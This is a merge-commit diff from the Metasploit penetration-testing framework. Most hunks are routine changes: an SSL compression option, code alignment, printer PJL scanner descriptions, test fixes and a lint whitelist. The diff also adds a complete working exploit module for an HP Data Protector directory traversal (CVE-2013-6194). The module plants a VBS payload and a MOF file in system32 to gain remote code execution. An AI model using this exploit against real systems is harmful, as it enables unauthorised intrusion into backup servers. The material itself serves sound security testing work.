Merge remote-tracking branch 'upstream/master' into service_principle_name

bug/bundler_fix
Meatballs 2014-01-22 21:50:10 +00:00
commit 6e8b6732c2
No known key found for this signature in database
GPG Key ID: 5380EAF01F2F8B38
22 changed files with 292 additions and 82 deletions

View File

@ -187,14 +187,14 @@ module Exploit::Remote::HttpClient
'uri_fake_end' => datastore['HTTP::uri_fake_end'],
'uri_fake_params_start' => datastore['HTTP::uri_fake_params_start'],
'header_folding' => datastore['HTTP::header_folding'],
'usentlm2_session' => datastore['NTLM::UseNTLM2_session'],
'use_ntlmv2' => datastore['NTLM::UseNTLMv2'],
'send_lm' => datastore['NTLM::SendLM'],
'send_ntlm' => datastore['NTLM::SendNTLM'],
'SendSPN' => datastore['NTLM::SendSPN'],
'UseLMKey' => datastore['NTLM::UseLMKey'],
'domain' => datastore['DOMAIN'],
'DigestAuthIIS' => datastore['DigestAuthIIS']
'usentlm2_session' => datastore['NTLM::UseNTLM2_session'],
'use_ntlmv2' => datastore['NTLM::UseNTLMv2'],
'send_lm' => datastore['NTLM::SendLM'],
'send_ntlm' => datastore['NTLM::SendNTLM'],
'SendSPN' => datastore['NTLM::SendSPN'],
'UseLMKey' => datastore['NTLM::UseLMKey'],
'domain' => datastore['DOMAIN'],
'DigestAuthIIS' => datastore['DigestAuthIIS']
)
# If this connection is global, persist it

View File

@ -181,7 +181,8 @@ module Exploit::Remote::HttpServer
'MsfExploit' => self,
},
opts['Comm'],
datastore['SSLCert']
datastore['SSLCert'],
datastore['SSLCompression']
)
self.service.server_name = datastore['HTTP::server_name']
@ -200,6 +201,13 @@ module Exploit::Remote::HttpServer
proto = (datastore["SSL"] ? "https" : "http")
# SSLCompression may or may not actually be available. For example, on
# Ubuntu, it's disabled by default, unless the correct environment
# variable is set. See https://github.com/rapid7/metasploit-framework/pull/2666
if proto == "https" and datastore['SSLCompression']
print_status("Intentionally using insecure SSL compression. Your operating system might not respect this!")
end
print_status("Using URL: #{proto}://#{opts['ServerHost']}:#{opts['ServerPort']}#{uopts['Path']}")
if (opts['ServerHost'] == '0.0.0.0')

View File

@ -98,15 +98,15 @@ module Exploit::Remote::Tcp
end
nsock = Rex::Socket::Tcp.create(
'PeerHost' => opts['RHOST'] || rhost,
'PeerPort' => (opts['RPORT'] || rport).to_i,
'LocalHost' => opts['CHOST'] || chost || "0.0.0.0",
'LocalPort' => (opts['CPORT'] || cport || 0).to_i,
'SSL' => dossl,
'SSLVersion'=> opts['SSLVersion'] || ssl_version,
'Proxies' => proxies,
'Timeout' => (opts['ConnectTimeout'] || connect_timeout || 10).to_i,
'Context' =>
'PeerHost' => opts['RHOST'] || rhost,
'PeerPort' => (opts['RPORT'] || rport).to_i,
'LocalHost' => opts['CHOST'] || chost || "0.0.0.0",
'LocalPort' => (opts['CPORT'] || cport || 0).to_i,
'SSL' => dossl,
'SSLVersion' => opts['SSLVersion'] || ssl_version,
'Proxies' => proxies,
'Timeout' => (opts['ConnectTimeout'] || connect_timeout || 10).to_i,
'Context' =>
{
'Msf' => framework,
'MsfExploit' => self,
@ -300,6 +300,7 @@ module Exploit::Remote::TcpServer
register_advanced_options(
[
OptString.new('ListenerComm', [ false, 'The specific communication channel to use for this service']),
OptBool.new('SSLCompression', [ false, 'Enable SSL/TLS-level compression', false ])
], Msf::Exploit::Remote::TcpServer)
register_evasion_options(
@ -379,6 +380,7 @@ module Exploit::Remote::TcpServer
'LocalPort' => srvport,
'SSL' => ssl,
'SSLCert' => ssl_cert,
'SSLCompression' => opts['SSLCompression'] || ssl_compression,
'Comm' => comm,
'Context' =>
{
@ -464,6 +466,11 @@ module Exploit::Remote::TcpServer
datastore['SSLCert']
end
# @return [Bool] enable SSL/TLS-level compression
def ssl_compression
datastore['SSLCompression']
end
#
# Re-generates the payload, substituting the current RHOST and RPORT with
# the supplied client host and port from the socket.

View File

@ -147,7 +147,7 @@ class Console::CommandDispatcher::Extapi::Adsi
@@adsi_domain_query_opts.parse(args) { |opt, idx, val|
case opt
when "-s"
when "-p"
page_size = val.to_i
when "-m"
max_results = val.to_i

View File

@ -180,15 +180,15 @@ class Client
timeout = (t.nil? or t == -1) ? 0 : t
self.conn = Rex::Socket::Tcp.create(
'PeerHost' => self.hostname,
'PeerPort' => self.port.to_i,
'LocalHost' => self.local_host,
'LocalPort' => self.local_port,
'Context' => self.context,
'SSL' => self.ssl,
'SSLVersion'=> self.ssl_version,
'Proxies' => self.proxies,
'Timeout' => timeout
'PeerHost' => self.hostname,
'PeerPort' => self.port.to_i,
'LocalHost' => self.local_host,
'LocalPort' => self.local_port,
'Context' => self.context,
'SSL' => self.ssl,
'SSLVersion' => self.ssl_version,
'Proxies' => self.proxies,
'Timeout' => timeout
)
end
@ -703,7 +703,6 @@ class Client
# Auth
attr_accessor :username, :password
# When parsing the request, thunk off the first response from the server, since junk
attr_accessor :junk_pipeline

View File

@ -100,17 +100,17 @@ class Server
# Initializes an HTTP server as listening on the provided port and
# hostname.
#
def initialize(port = 80, listen_host = '0.0.0.0', ssl = false, context = {}, comm = nil, ssl_cert = nil)
self.listen_host = listen_host
self.listen_port = port
self.ssl = ssl
self.context = context
self.comm = comm
self.ssl_cert = ssl_cert
self.listener = nil
self.resources = {}
self.server_name = DefaultServer
def initialize(port = 80, listen_host = '0.0.0.0', ssl = false, context = {}, comm = nil, ssl_cert = nil, ssl_compression = false)
self.listen_host = listen_host
self.listen_port = port
self.ssl = ssl
self.context = context
self.comm = comm
self.ssl_cert = ssl_cert
self.ssl_compression = ssl_compression
self.listener = nil
self.resources = {}
self.server_name = DefaultServer
end
# More readable inspect that only shows the url and resources
@ -146,6 +146,7 @@ class Server
'Context' => self.context,
'SSL' => self.ssl,
'SSLCert' => self.ssl_cert,
'SSLCompression' => self.ssl_compression,
'Comm' => self.comm
)
@ -268,7 +269,8 @@ class Server
cli.send_response(resp)
end
attr_accessor :listen_port, :listen_host, :server_name, :context, :ssl, :comm, :ssl_cert
attr_accessor :listen_port, :listen_host, :server_name, :context, :comm
attr_accessor :ssl, :ssl_cert, :ssl_compression
attr_accessor :listener, :resources
protected

View File

@ -8,8 +8,8 @@ module Rex::Proto::PJL
DEFAULT_PORT = 9100
DEFAULT_TIMEOUT = 5
COUNT_MAX = 2147483647
SIZE_MAX = 2147483647
COUNT_MAX = 2_147_483_647
SIZE_MAX = 2_147_483_647
UEL = "\e%-12345X" # Universal Exit Language
PREFIX = "@PJL"

View File

@ -151,7 +151,7 @@ class Client
@sock.put(%Q{#{FSUPLOAD} NAME = "#{pathname}" OFFSET=0 SIZE=#{size}\n})
if @sock.get(DEFAULT_TIMEOUT) =~ /SIZE=\d+\r?\n(.*?)\f/m
if @sock.get(DEFAULT_TIMEOUT) =~ /SIZE=\d+\r?\n(.*)\f/m
file = $1
end

View File

@ -61,6 +61,7 @@ class Rex::Socket::Parameters
# @option hash [String] 'SSLCert' A file containing an SSL certificate (for
# server sockets)
# @option hash [String] 'SSLCipher' see {#ssl_cipher}
# @option hash [Bool] 'SSLCompression' enable SSL-level compression where available
# @option hash [String] 'SSLVerifyMode' SSL certificate verification
# mechanism. One of 'NONE' (default), 'CLIENT_ONCE', 'FAIL_IF_NO_PEER_CERT ', 'PEER'
# @option hash [String] 'Proxies' List of proxies to use.
@ -126,6 +127,10 @@ class Rex::Socket::Parameters
self.ssl_verify_mode = hash['SSLVerifyMode']
end
if hash['SSLCompression']
self.ssl_compression = hash['SSLCompression']
end
if (hash['SSLCipher'])
self.ssl_cipher = hash['SSLCipher']
end
@ -334,6 +339,10 @@ class Rex::Socket::Parameters
# @return [String]
attr_accessor :ssl_cert
# Enables SSL/TLS-level compression
# @return [Bool]
attr_accessor :ssl_compression
#
# The SSL context verification mechanism
#

View File

@ -110,7 +110,6 @@ begin
else
begin
self.sslsock.connect_nonblock
# Ruby 1.8.7 and 1.9.0/1.9.1 uses a standard Errno
rescue ::Errno::EAGAIN, ::Errno::EWOULDBLOCK
IO::select(nil, nil, nil, 0.10)

View File

@ -48,7 +48,7 @@ module Rex::Socket::SslTcpServer
def initsock(params = nil)
raise RuntimeError, "No OpenSSL support" if not @@loaded_openssl
self.sslctx = makessl(params.ssl_cert)
self.sslctx = makessl(params)
super
end
@ -104,9 +104,10 @@ module Rex::Socket::SslTcpServer
# Create a new ssl context. If +ssl_cert+ is not given, generates a new
# key and a leaf certificate with random values.
#
# @param [Rex::Socket::Parameters] params
# @return [::OpenSSL::SSL::SSLContext]
def makessl(ssl_cert=nil)
def makessl(params)
ssl_cert = params.ssl_cert
if ssl_cert
cert = OpenSSL::X509::Certificate.new(ssl_cert)
key = OpenSSL::PKey::RSA.new(ssl_cert)
@ -151,6 +152,14 @@ module Rex::Socket::SslTcpServer
ctx = OpenSSL::SSL::SSLContext.new()
ctx.key = key
ctx.cert = cert
ctx.options = 0
# enable/disable the SSL/TLS-level compression
if params.ssl_compression
ctx.options &= ~OpenSSL::SSL::OP_NO_COMPRESSION
else
ctx.options |= OpenSSL::SSL::OP_NO_COMPRESSION
end
ctx.session_id_context = Rex::Text.rand_text(16)

View File

@ -16,7 +16,8 @@ class Metasploit4 < Msf::Auxiliary
super(update_info(info,
"Name" => "Printer File Download Scanner",
"Description" => %q{
This module downloads a file from a printer using PJL.
This module downloads a file from a set of printers using the
Printer Job Language (PJL) protocol.
},
"Author" => [
"wvu", # This implementation
@ -50,8 +51,7 @@ class Metasploit4 < Msf::Auxiliary
disconnect
if file
print_good("#{ip}:#{rport} - #{pathname}")
store_loot(
res = store_loot(
"printer.file",
"application/octet-stream",
ip,
@ -59,6 +59,7 @@ class Metasploit4 < Msf::Auxiliary
pathname,
"Printer file"
)
print_good("#{ip}:#{rport} - Saved #{pathname} as #{res}")
end
end

View File

@ -16,7 +16,8 @@ class Metasploit4 < Msf::Auxiliary
super(update_info(info,
"Name" => "Printer Environment Variables Scanner",
"Description" => %q{
This module scans for printer environment variables using PJL.
This module scans for printer environment variables using the
Printer Job Language (PJL) protocol.
},
"Author" => [
"wvu", # This implementation
@ -46,7 +47,7 @@ class Metasploit4 < Msf::Auxiliary
disconnect
if env_vars
print_good("#{ip}:#{rport}\n#{env_vars}")
print_good("#{ip}:#{rport} - #{env_vars}")
report_note({
:host => ip,
:port => rport,

View File

@ -16,7 +16,8 @@ class Metasploit4 < Msf::Auxiliary
super(update_info(info,
"Name" => "Printer Directory Listing Scanner",
"Description" => %q{
This module lists a directory on a printer using PJL.
This module lists a directory on a set of printers using the
Printer Job Language (PJL) protocol.
},
"Author" => [
"wvu", # This implementation
@ -50,7 +51,7 @@ class Metasploit4 < Msf::Auxiliary
disconnect
if listing
print_good("#{ip}:#{rport}\n#{listing}")
print_good("#{ip}:#{rport} - #{listing}")
report_note({
:host => ip,
:port => rport,

View File

@ -16,7 +16,8 @@ class Metasploit4 < Msf::Auxiliary
super(update_info(info,
"Name" => "Printer Volume Listing Scanner",
"Description" => %q{
This module lists the volumes on a printer using PJL.
This module lists the volumes on a set of printers using the
Printer Job Language (PJL) protocol.
},
"Author" => [
"wvu", # This implementation
@ -47,7 +48,7 @@ class Metasploit4 < Msf::Auxiliary
disconnect
if listing
print_good("#{ip}:#{rport}\n#{listing}")
print_good("#{ip}:#{rport} - #{listing}")
report_note({
:host => ip,
:port => rport,

View File

@ -16,7 +16,8 @@ class Metasploit4 < Msf::Auxiliary
super(update_info(info,
"Name" => "Printer Ready Message Scanner",
"Description" => %q{
This module scans for and can change printer ready messages using PJL.
This module scans for and optionally changes the printer ready message on
a set of printers using the Printer Job Language (PJL) protocol.
},
"Author" => [
"wvu", # This implementation

View File

@ -16,7 +16,8 @@ class Metasploit4 < Msf::Auxiliary
super(update_info(info,
"Name" => "Printer Version Information Scanner",
"Description" => %q{
This module scans for printer version information using PJL.
This module scans for printer version information using the
Printer Job Language (PJL) protocol.
},
"Author" => [
"wvu", # This implementation

View File

@ -89,7 +89,10 @@ class Metasploit4 < Msf::Exploit::Remote
def check
res = send_serialized_request('version.bin')
if (res.nil?) or (res.code != 200)
if res.nil?
print_error("Connection timed out")
return Exploit::CheckCode::Unknown
elsif res.code != 200
print_error("Unable to request version, returned http code is: #{res.code.to_s}")
return Exploit::CheckCode::Unknown
end

View File

@ -0,0 +1,157 @@
##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = GreatRanking
include Msf::Exploit::Remote::Tcp
include Msf::Exploit::EXE
include Msf::Exploit::WbemExec
include Msf::Exploit::FileDropper
def initialize(info = {})
super(update_info(info,
'Name' => 'HP Data Protector Backup Client Service Directory Traversal',
'Description' => %q{
This module exploits a directory traversal vulnerability in the Hewlett-Packard Data
Protector product. The vulnerability exists in the Backup Client Service (OmniInet.exe)
and is triggered when parsing packets with opcode 42. This module has been tested
successfully on HP Data Protector 6.20 on Windows 2003 SP2 and Windows XP SP3.
},
'Author' =>
[
'Brian Gorenc', # Vulnerability discovery
'juan vazquez' # Metasploit module
],
'References' =>
[
[ 'CVE', '2013-6194' ],
[ 'OSVDB', '101630' ],
[ 'BID', '64647' ],
[ 'ZDI', '14-003' ],
[ 'URL' , 'https://h20566.www2.hp.com/portal/site/hpsc/public/kb/docDisplay/?docId=emr_na-c03822422' ]
],
'Privileged' => true,
'Payload' =>
{
'Space' => 2048, # Payload embedded into an exe
'DisableNops' => true
},
'DefaultOptions' =>
{
'WfsDelay' => 5
},
'Platform' => 'win',
'Targets' =>
[
[ 'HP Data Protector 6.20 build 370 / Windows 2003 SP2', { } ]
],
'DefaultTarget' => 0,
'DisclosureDate' => 'Jan 02 2014'))
register_options([Opt::RPORT(5555)], self.class)
end
def check
fingerprint = get_fingerprint
if fingerprint.nil?
return Exploit::CheckCode::Unknown
end
print_status("#{peer} - HP Data Protector version #{fingerprint}")
if fingerprint =~ /HP Data Protector A\.06\.(\d+)/
minor = $1.to_i
else
return Exploit::CheckCode::Safe
end
if minor < 21
return Exploit::CheckCode::Vulnerable
elsif minor == 21
return Exploit::CheckCode::Detected
else
return Exploit::CheckCode::Detected
end
end
def exploit
# Setup the necessary files to do the wbemexec trick
vbs_name = rand_text_alpha(rand(10)+5) + '.vbs'
exe = generate_payload_exe
vbs = Msf::Util::EXE.to_exe_vbs(exe)
mof_name = rand_text_alpha(rand(10)+5) + '.mof'
mof = generate_mof(mof_name, vbs_name)
# We can't upload binary contents, so embedding the exe into a VBS.
print_status("#{peer} - Sending malicious packet with opcode 42 to upload the vbs payload #{vbs_name}...")
upload_file("windows\\system32\\#{vbs_name}", vbs)
register_file_for_cleanup(vbs_name)
print_status("#{peer} - Sending malicious packet with opcode 42 to upload the mof file #{mof_name}")
upload_file("WINDOWS\\system32\\wbem\\mof\\#{mof_name}", mof)
register_file_for_cleanup("wbem\\mof\\good\\#{mof_name}")
end
def peer
"#{rhost}:#{rport}"
end
def build_pkt(fields)
data = "\xff\xfe" # BOM Unicode
fields.each do |v|
data << "#{Rex::Text.to_unicode(v)}\x00\x00"
data << Rex::Text.to_unicode(" ") # Separator
end
data.chomp!(Rex::Text.to_unicode(" ")) # Delete last separator
return [data.length].pack("N") + data
end
def get_fingerprint
ommni = connect
ommni.put(rand_text_alpha_upper(64))
resp = ommni.get_once(-1)
disconnect
if resp.nil?
return nil
end
return Rex::Text.to_ascii(resp).chop.chomp # Delete unicode last nl
end
def upload_file(file_name, contents)
connect
pkt = build_pkt([
"2", # Message Type
rand_text_alpha(8),
rand_text_alpha(8),
rand_text_alpha(8),
rand_text_alpha(8),
rand_text_alpha(8),
"42", # Opcode
rand_text_alpha(8), # command
rand_text_alpha(8), # rissServerName
rand_text_alpha(8), # rissServerPort
"\\..\\..\\..\\..\\..\\#{file_name}", # rissServerCertificate
contents # Certificate contents
])
sock.put(pkt)
sock.get_once
# You cannot be confident about the response to guess if upload
# has been successful or not. While testing, different result codes,
# including also no response because of timeout due to a process
# process execution after file write on the target
disconnect
end
end

View File

@ -222,6 +222,7 @@ describe Rex::Proto::Http::Client do
end
# Not super sure why these are protected...
# Me either...
it "should refuse access to its protected accessors" do
expect {cli.ssl}.to raise_error NoMethodError
expect {cli.ssl_version}.to raise_error NoMethodError

View File

@ -21,25 +21,25 @@ describe Rex::Proto::PJL::Client do
Rex::Proto::PJL::Client.new(sock)
end
context ".initialize" do
context "#initialize" do
it "should initialize a 'sock' ivar" do
cli.instance_variable_get(:@sock).class.should eq(RSpec::Mocks::Mock)
end
end
context ".begin_job" do
it "should send a PJL start request without any errors" do
cli.begin_job
context "#begin_job" do
it "should send a PJL start request without an error" do
expect { cli.begin_job }.to_not raise_error
end
end
context ".end_job" do
it "should send a PJL end request" do
cli.end_job
context "#end_job" do
it "should send a PJL end request without an error" do
expect { cli.end_job }.to_not raise_error
end
end
context ".info" do
context "#info" do
it "should raise an exception for not having a category" do
expect { cli.info(nil) }.to raise_error(ArgumentError)
end
@ -49,7 +49,7 @@ describe Rex::Proto::PJL::Client do
end
end
context ".info_id" do
context "#info_id" do
it "should return the version information" do
fake_version = '"1337"'
cli.stub(:info).with(an_instance_of(Symbol)).and_return(fake_version)
@ -57,7 +57,7 @@ describe Rex::Proto::PJL::Client do
end
end
context ".info_variables" do
context "#info_variables" do
it "should return the environment variables" do
fake_env_vars = "#{Rex::Proto::PJL::Info::VARIABLES}\r\nPASSWORD=DISABLED\f"
cli.stub(:info).with(an_instance_of(Symbol)).and_return(fake_env_vars)
@ -65,7 +65,7 @@ describe Rex::Proto::PJL::Client do
end
end
context ".info_filesys" do
context "#info_filesys" do
it "should return the volumes" do
fake_volumes = "[1 TABLE]\r\nDIR\f"
cli.stub(:info).with(an_instance_of(Symbol)).and_return(fake_volumes)
@ -73,7 +73,7 @@ describe Rex::Proto::PJL::Client do
end
end
context ".get_rdymsg" do
context "#get_rdymsg" do
it "should return a READY message" do
fake_ready_message = 'DISPLAY="RES"'
cli.stub(:info).with(an_instance_of(Symbol)).and_return(fake_ready_message)
@ -81,23 +81,23 @@ describe Rex::Proto::PJL::Client do
end
end
context ".set_rdymsg" do
it "should send a READY message" do
cli.set_rdymsg("")
context "#set_rdymsg" do
it "should send a READY message without an error" do
expect { cli.set_rdymsg("") }.to_not raise_error
end
end
context ".fsinit" do
context "#fsinit" do
it "should raise an exception due to an invalid volume" do
expect { cli.fsinit("BAD") }.to raise_error(ArgumentError)
end
it "should send a FS INIT message" do
cli.fsinit("1:")
it "should send a FS INIT message without an error" do
expect { cli.fsinit("1:") }.to_not raise_error
end
end
context ".fsdirlist" do
context "#fsdirlist" do
it "should reaise an exception due to an invaid path name" do
expect { cli.fsdirlist("BAD") }.to raise_error(ArgumentError)
end
@ -112,7 +112,7 @@ describe Rex::Proto::PJL::Client do
end
end
context ".fsupload" do
context "#fsupload" do
it "should raise an exception due to an invalid path name" do
expect { cli.fsupload("BAD") }.to raise_error(ArgumentError)
end

View File

@ -323,12 +323,22 @@ class Msftidy
end
def check_title_casing
whitelist = %w{
a an and as at avserve callmenum configdir connect debug docbase
dtspcd execve file for from getinfo goaway gsad hetro historysearch
htpasswd id in inetd iseemedia jhot libxslt lmgrd lnk load main map
migrate mimencode multisort name net netcat nodeid ntpd nttrans of
on onreadystatechange or ovutil path pbot pfilez pgpass pingstr pls
popsubfolders prescan readvar relfile rev rexec rlogin rsh rsyslog sa
sadmind say sblistpack spamd sreplace tagprinter the to twikidraw udev
uplay user username via welcome with ypupdated zsudo
}
if @source =~ /["']Name["'][[:space:]]*=>[[:space:]]*['"](.+)['"],*$/
words = $1.split
words.each do |word|
if %w{and or the for to in of as with a an on at via from}.include?(word)
if whitelist.include?(word)
next
elsif %w{pbot}.include?(word)
elsif word =~ /^[a-z]+$/
warn("Suspect capitalization in module title: '#{word}'")
end